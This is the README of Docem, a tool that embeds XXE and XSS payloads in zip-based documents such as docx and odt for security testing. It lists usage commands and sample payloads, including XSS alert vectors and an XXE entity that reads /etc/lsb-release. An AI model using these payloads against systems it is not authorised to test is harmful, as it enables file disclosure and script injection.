Docem Save

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version 1.5

A utility to embed XXE and XSS payloads in docx, odt, pptx, etc - any documents that is a zip archive with bunch of xml files inside.

This tool is a side-project of a colloborative research of document's internal structure with ShikariSenpai and ansjdnakjdnajkd

What it is all about

A lot of common document formats, such as doc,docx,odt,etc are just a zip files with a few xml files inside.

So why don't we try to embed XXE payloads in them?
That was done in a great research by Will Vandevanter (_will_is) To create such documents with embedded payloads there is a famous tool called oxml_xxe.

But. It is not convenient to use oxml_xxe when you need to create hundreds of documents with payloads in different places. So there it goes - Docem.

It works like that: You specify sample document - that is a doc that contains magic_symbols (in illustrations it is marked as ፨ (in program it is constant XXCb8bBA9XX)) that will be replaced by a XXE or XSS payload.

Also there are three different types of payload_type - every type determines how every magic_symbol will be processed for a given file in a document. Every payload_type described in a section Usage. Here is a small scheme of how this works:

Payload modes

Programm interface

Install

pip3 install -r requirements.txt

Usage Docem

python3 docem.py --help

• required args
  • -s - path to a sample file or a sample directory. That sample will be used to create a document with an attacking vector.
  • -pt - payload type
    • xss - XSS - Cross Site Scripting
    • xxe - XXE - External XML Entity
• optional
  • -pm - payload mode
    • per_document - (default mode) for every payload, embed payload in all places in all files and create new document
    • per_file - for every payload, for every file inside a document, for all places inside a file embed a payload and create a new document
    • per_place - for every payload, for every place in every file, embed a payload and create a new doc
  • -pf - payload file
  • -sx - sample extension - used when sample is a directory
  • -h - print help

Examples

./docem.py -s samples/marked/docx_sample_oxml_xxe_mod0/ -pt xxe -pf payloads/xxe_special_6.txt -pm per_document -sx docx
./docem.py -s samples/marked/docx_sample_oxml_xxe_mod1/ -pt xxe -pf payloads/xxe_special_1.txt -pm per_file -sx docx
./docem.py -s samples/marked/sample_oxml_xxe_mod1.docx -pt xxe -pf payloads/xxe_special_2.txt -pm per_place
./docem.py -s samples/marked/docx_sample_oxml_xxe_mod0/ -pt xss -pf payloads/xss_tiny.txt -pm per_place -sx docx

An equivalent to a docx file created by oxml_xxe. The command bellow will create docx files with embedded XXE payloads.

./docem.py -s samples/marked/docx_sample_oxml_xxe_mod0/ -pt xss -pf payloads/xxe_special_6.txt -pm per_document -sx docx

Tool output is saved under ./tmp/ folder

How to create custom sample

Via new folder sample

1. Unzip your document new_sample_from_folder.docx to a folder new_sample_from_folder/ or use already existing clear sample by coping it from samples/clear/<sample_name> to samples/marked/new_sample_from_folder/
2. Add magic symbols - XXCb8bBA9XX (depicted as ፨ in illustrations of this readme) in places where you want payloads to be embedded
3. Use new sample with the tool as -s samples/new_sample_from_folder/ -sx docx

Via new file sample

1. Add magic symbols (XXCb8bBA9XX) to various places in you custom document new_sample.docx
2. Use new sample as -s new_sample.docx

Payload file formats used in the tool

XSS payloads

Format: TXT file that contains list strings. Example:

<svg/src=x/onerror=alert(1)>
<xss onafterscriptexecute=alert(1)><script>1</script>

XXE payloads

Tools uses Special format for XXE payloads. If you want to add additional payloads, please use an example bellow as a reference.

Format: TXT file that contains list dictionaries. Example

{"vector":"<!DOCTYPE docem [<!ENTITY xxe_canary_0 \"XXE_STRING\">]>","reference":"&xxe_canary_0;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY xxe_canary_2 SYSTEM \"file:///etc/lsb-release\">]>","reference":"&xxe_canary_2;"}

• vector - required key word - script will be searching for it
• <!DOCTYPE docem [<!ENTITY xxe_canary_0 \"XXE_STRING\">]> - payload. Warning all double quotation marks " must be escaped with one backslash \ => \"
• reference - required key word - script will be searching for it
• &xxe_canary_0; - reference that will be add in all places with magic symbol

Features and ToDo

• Features
  • Read file with payloads
    • XXE custom payload file
    • XSS payload file
• ToDo
  • Add ability to embed not only in xml but in unzip file also
  • Add flag to specify custom url to use in XXE
  • Add flag to specify custom url to use in XSS